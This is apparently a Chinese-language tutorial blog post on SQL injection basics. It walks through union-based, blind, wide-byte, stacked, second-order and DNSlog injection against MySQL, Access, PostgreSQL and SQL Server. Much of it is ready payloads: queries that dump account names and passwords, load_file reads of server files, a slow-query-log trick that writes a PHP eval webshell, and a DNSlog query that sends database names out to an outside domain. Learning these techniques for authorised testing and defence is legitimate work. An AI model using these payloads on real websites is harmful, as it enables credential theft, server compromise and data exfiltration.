sql注入基础知识

sql注入基础知识

前言:之前也写过sql注入的文章,但更多的是写题的记录,对一些sql注入的基本知识点没有涉及,今天来更进一

步的讲解sql注入

我们检测是否可以进行注入,首先要查看网站是否存在参数传递,不一定是要在url地址中含有查询字符串,数据

可能通过post方式提交,更改post数据也可进行注入,对于同时传递多个参数时,多个参数都要进行测试

sql注入攻击流程

1 猜测数据库类型

2 根据类型选择思路

在发现存在注入点时,我们如何判断数据库类型呢?

首先可以通过端口扫描找到网站开放的端口

mysql 默认开放 3306

Oracle 默认端口为1521

sqlserver 默认端口为 1433

PostgreSql 默认端口号:5432

Access Access数据库属于文件型数据库,所以不需要端口号

除了这种方法,我们还可以通过 查询不同数据库的特定表实现

mysql : and (select count(*) from information_schema.TABLES)>0 and 1=1

oracle : and (select count(*) from sys.user_tables)>0 and 1=1

sql server :and (select count(*) from sysobjects)>0 and 1=1

其余方式见:此博客

获取了数据库类型,我们就可以进行下一步注入了

1.1 access 简易注入 + 字典猜解

如果我们知道账号密码存储的表名和列名,直接进行注入即可,首先是利用 order by +数字来判断列的数量

用法为 : and order by 数字 数字为列的数量,比如查询的该表一共有5列,数字给1-5都是正常,给6就会报错,

无法正常显示,我们获得列的数量用于在下一步进行显示位查找,具体的方法如下

union select 1,2,3,4,5 from 表名; 数字截至到初始显示表的最大值,就是我们上一步在order by中得到的

值,我们注入该语句后,查看页面中出现的数字,出现几说明显示位在第几位,比如如果页面原本正常的文字变成

了3,4那么就说显示位为 3,4 我们可以进行下一步 : union select 1,2,password,username,5 from 表名

通过该方式,可以将另一表中我们想要查询的数据,比如账号密码,拼接到原本查询的表中,即使原本的表中指定

了要输出的列名,也可也顺利输出我们想要的数据,这种情况适用于我们知道了要查询的表名和列名,比如

admin表下的admin列和password列

access数据库由于没有存储表名和列名的表,所以如果我们不知道列名和表名,可以进行爆破,或者进行偏移注

1.2 mysql注入

mysql数据库和access数据库的区别在于,mysql数据库中可以存在多个数据库,同一服务器下的不同网站可以拥

有不同的数据库,access数据库则是一整个的数据库文件。

mysql有了不同的数据库,也便有了不同的用户权限去进行数据库操作,mysql内置有root最高用户,其余每个用

户控制一个数据库,从而做到互不关联。

所以我们在注入过程中有两种思路:

非root用户注入攻击

root用户注入攻击

非root用户的注入攻击一般是常规类的猜解

root用户的注入攻击可以进行文件读写操作和跨库查询注入;

我们查询网站的数据库用户方式:黑盒用user()函数,白盒看连接用户。

mysql注入相比access注入有很方便的一点,Mysql 5.0版本以上,有存储的数据库名,表名,列名的数据库,

information_schema

表名存储在该数据库下的TABLES表,列名存储在该数据库下的COLUMNS表中,存储数据库名的表为SCHEMATA

在进行正式注入时我们要先获得:

1 数据库版本 查看是否是mysql 5.0以上 方式: 使用version()

2 数据库用户 是否为root用户 使用 user()

3 当前操作系统 看是否支持大小写或者路径选择 @@version_compile_os

4 数据库名字 为后期猜解指定数据库下的表列做准备 使用函数为 database()

有了这些知识,我们便可以对表名进行查询

假设显示位在3

我们想要查询当前库下的表名,可以这样:

union select 1,2,table_name,4 from information_schema.tables where table_schema='当前的数据

库名';

如果输出限制了行数,导致只能显示一行结果,可以使用group_connact()将table_name的结果由多行合并为一

行,即union select 1,2,group_connact(table_name),4 from information_schema.tables where

table_schema='当前的数据库名';

我们获得了对应数据库中的所有表后,找到可能存储重要数据的表,查询该表中所有的列名

union select 1,2,column_name,4 from information_schema.columns where table_name='上一部找到的表名' and table_schema=当前数据库名; 增加数据库名限制条件用于限制查询的数据库,避免查到其他数据库。

如果当前网站的数据库为root用户,那么我们还可以做到跨库查询

先获得数据库名: union select 1,2,schema_name,4 from information_schema.schemata;

其余的操作和上面相同,但需要注意的是,在进行跨库注入时,需要指明查询的数据库,因为默认连接的数据库和

我们实际查询的数据库并非一个数据库,如果不指明可能会报错。

作为高权限用户,我们除了可以查看编辑所有数据库内容,我们还可以利用mysql提供的函数对服务器本地文件进

行读写,从而达到写入webshell的目的

实现文件读取需要用到load_file()函数,比如我们要读取d:/a.txt,那么我们就可以

select load_file('d:/a.txt');

至于文件写入,则需要用到outfile 或者dumpfile

select xxx into outfile 'd:/a.txt';

我们读取时一般选择读取数据库的配置文件等,获取文件地址的方式有四种,第一种是通过网页遗留的phpinfo文

件 第二种是通过报错来获取路径,第三种是通过读取配置性文件来获得路径,第四种是爆破路径

如果发现我们无法写入,可能是mysql配置文件my.ini中的secure-file设置了固定路径,该设置用来限制写入文件

的地址,所以如果在此进行设置,那其他地址就无法进行写入。

但也是可以进行突破的,比如通过登录phpmyadmin进行登录,然后进行慢日志,即将一句话木马写入到日志文件中,具体过程为:

第一步 set gloval slow_query_log=1;

第二部set global slow_query_log_file='shell路径';

第三步 select '<?php eval($_GET['x']);?> or sleep(1);'

有些网站没有sql功能,上述开启慢日志语句直接拼接无法执行,就得考虑通过登录phpmyadmin来设置,当然有

的网站开启sql功能,可以直接进行拼接

1.3 postgresql注入

该数据库下基本注入思路和前面的都相同,就是显示位的寻找不一样, postgresql注入中是通过null去查找显示位

流程和先前相同,先使用 order by来查看列数,获取列数后

假设列数为三

union select null,null,null;

这样是没有显示的,我们一个个尝试

假如union select 'null',null,null;执行后页面中出现了null,则显示位在第一位,同理,以此类推可获得

全部显示位

第二给步骤就是获取数据库名,数据库用户,数据库版本等操作

,使用的函数和mysql存在区别 数据库用户函数:current_user

数据库名函数: current_database()

数据库版本: version()

查询数据库名的方法也不同

union select null,string_agg(dataname,','),null from pg_database;

获取表名有两种写法:union select null,string_agg(tablename,','),null,null from pg_tables

where schemaname='需要的数据库名'

union select null,string_agg(relname,','),null,null from pg_stat_user_tables

获取列名:union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='先前的表名'

获取数据 union select null,string_agg(username,','),string_agg(password,',') from 查询的表 ;

判断是否为高权限用户:ubion select null string_agg(name,','),null,null from pg_user where useup is true

我们通过该注入方式获得超级用户名,与先前查询的当前用户名进行比较,如果相同则为超级用户。

如果查询结果为当前用户为超级用户,则可以尝试进行文件读写操作

1.4 sqlserver 注入

sqlserver 由于是微软的,所以对应的服务器使用的语言一般是asp .net 超级用户的用户名为sa

sqlserver的注入方式和 postgresql 基本相同,都要使用null进行显示位查询,就是查询的参数不同

查询数据库版本:@@version

数据库名称 : db_name()

用户名称: user, system_user, current_user

服务器信息:@@SERVERBANE

具体的查询还是有点区别的,比如:union all select null,null,db_name() from 其余内容省略

其余具体的操作见此博客:SQLServer数据库注入详解-安全客 - 安全资讯平台 (anquanke.com)

1.5 sql注入中输入数据的类型

我们根据在数据库中初始表设置的数据类型,决定我们输入的数据类型,类型分为

数字型:只能输入数字

字符型 输入字符或者字符串,在输入时需要考虑引号闭合问题

搜索型 需要考虑通配符闭合和引号闭合问题 比如"%2%" 这种类型一般出现在搜索框中

实际操作和引号闭合还有点区别,后面的注释起不到作用,此时我们要这样写比如:dasd%' 注入操作 and '%'= ' 通过此方式将最后的一个%变成比较条件从而进行绕过,实际最后一部分执行的是

'%'='%'

编码型:通过一些编码 对一些过滤进行绕过,或者对方在提交时对数据会进行编码后发送给服务器进行解码执

行,在使用sqlmap默认是没有编码功能的,需要使用额外的sqlmap插件。

格式型: json类型 ,通过json类型传递就在json传递的值中进行注入

1.6 宽字节绕过

在注入过程中如果网页使用了addslashes()函数进行了过滤,或者在php中开启了魔术引号,在预定义字符之前添

加反斜杠的字符串进行过滤,

比如 :

' //单引号
" //双引号
\ //反斜杠
null //空值

此时就需要宽字节绕过,具体方式是在预定义字符前加入%df进行占位,%df编码出的字符占用两个字节,就会

把后面/的位置给占用,从而达到绕过的目的

1 %df' union select 查询语句

sqlmap中默认也是没有宽字节注入的功能的,但是第三方也提供了宽字节注入的脚本,只需要导入使用即可

1.7 盲注

我们在执行sql操作时,对返回的结果分为输出和不输出,我们先前讨论的都是会进行输出,即存在显示位的类

型,接下来我们来研究不进行输出的sql注入,在这种情况下使用之前的联合查询方式就不行了,被称为盲注。

盲注分为三类 bool盲注 时间盲注 报错盲注

bool盲注:的判断基于逻辑,比如:/blog/news.php?id=1 and length(database())=7

如果数据库长度真等于7,则会正常显示。或者利用left函数对数据库名进行截取,比如

and left(database(),1)='a' 如果最左侧第一位真为a,则会正常显示 bool盲注产生的前提是有内容显示,而

且并未做sql执行错误后的处理的sql语句,即有显示内容没有显示位。

时间盲注:看个简单的例子:/blog/news.php?id=1 and if(1=1,sleep(5),0)

sql中的if用法:if(exp,v1,v2)如果表达式exp成立,则返回v1,否则则会返回v2

时间盲注的原理是通过sleep来添加延迟,根据添加延迟前后的数据包中的响应时间判断是否真正出现延迟

从而判断输入的表达式是否正确,从而达到获得信息的功能。

报错盲注: 程序员经常会在sql语句后加上 or die(mysql_error()) 此时在sql语句执行错误时会产生错误原因

根据这个报错可以把我们需要查询的信息报查出来。具体见12种报错注入+万能语句 - 简书 (jianshu.com)

实际在Insert 注入中
因为前端注册的信息会被后台利用insert的方式给插入到数据库,又没有对我们注册的数据进行防sql注入的操作,

导致我们的数据直接就可以插入到后端insert的操作里

在insert注入中特殊的闭合方式利用’or or’ 在这个sql语句中利用or运算会将两个or之间的语句执行

前两种注入方式都比较麻烦,每一位都要一个个去猜,用于解决联合注入无法使用的情况

我们sql语句可以进行的操作有增删改查,并不是所有的操作方式都要进行数据取出和显示,所以此类注入基本上

要通过盲注来得到结果。实际在进行注入过程中并不一定只能通过查询操作进行注入

插入操作insert into 表名 (column1,column2) values('value1','value2')

如果不加入前面的列名,则会按顺序依次插入到列中,插入的值个数需要与表结构中的列个数相匹配

更新操作: update 表名 set 列名1= 更改后的数据,列名2=更改后的数据 where 条件

删除操作: delete from 表名 where 条件

黑盒测试是按照功能判断查询方式,不同的功能代表着不同的操作方式,不同的查询需要不同的payload,都需要

采取盲注去进行注入

1.8 堆叠注入

支持堆叠注入的数据库软件 mysql mssql postgresql

什么是堆叠注入呢?举个例子:

select * from pri;create table test like mysql

这是两个操作语句,可以进行堆叠注入的数据库可以一行命令直接执行多条语句,中间只需要用分号隔离即可。

堆叠注入即使在存在注入点的情况下也不一定能成功,需要具体根据是否报错来判断语句是否成功执行。

如果可以进行堆叠注入,对于对select等语句进行过滤的状况就可以考虑堆叠注入,将查询语句编码后利用sql操

作执行,具体使用时可以搜索其他博客。

1.9 二次注入

二次注入的步骤分两步,第一步通过insert先把攻击代码放在数据库中,第二部调用攻击代码

比如我在某网站注册账户的时候将用户名设置为攻击代码片段,在进行更改密码等操作时。

执行了该sql语句upadate pri set password='123456' where username='包含恶意代码的用户名'

从而实现恶意攻击过程

共分为两步,第一步是先插入恶意数据,第二部是引用恶意数据

找回密码部分就是二次注入的常见位置

2.0 dnslog注入

dnslog网站:DNSLog Platform

通过用控制的主机访问生成的dns地址,然后拼接我们需要查询的信息,可以解决数据不回显的问题

比如假设通过上面的网站生成的dns地址为:yfan8q.dnslog.cn,我们在拿下一台服务器的权限后想要查看用户

名,就可以让服务器访问%USERNAME%.yfan8q.dnslog.cn,通过查看dns记录就可以获得用户名信息。

在sql注入中,如果同样没有回显,除了采用盲注,如果数据库用户是高权限用户,也可以使用load_file函数实

现dnslog注入,当然我们都是高权限用户了,直接写入webshell不比这简单多了

使用的payload如下

select load_file(concat('//',database(),'.qemerz.dnslog.cn/abc'))查询的结果和后面的dns地址构成一

个新的地址,然后load_file函数会对其进行访问,从而在dnslog下留下信息,通过查看dnslog网站就可以查看到

数据,后面的abc是随便给的文件名

我们需要注意,使用load_file函数不光需要是root账户,还需要再mysql配置文件中进行配置

windows下:

修改my.ini 在[mysqld]内加入secure_file_priv=

linux下:

修改my.cnf 在[mysqld]内加入secure_file_priv=

MYSQL新特性secure_file_priv对读写文件的影响

然后重启mysql

posted @ 2024-02-18 23:45  折翼的小鸟先生  阅读(23)  评论(0编辑  收藏  举报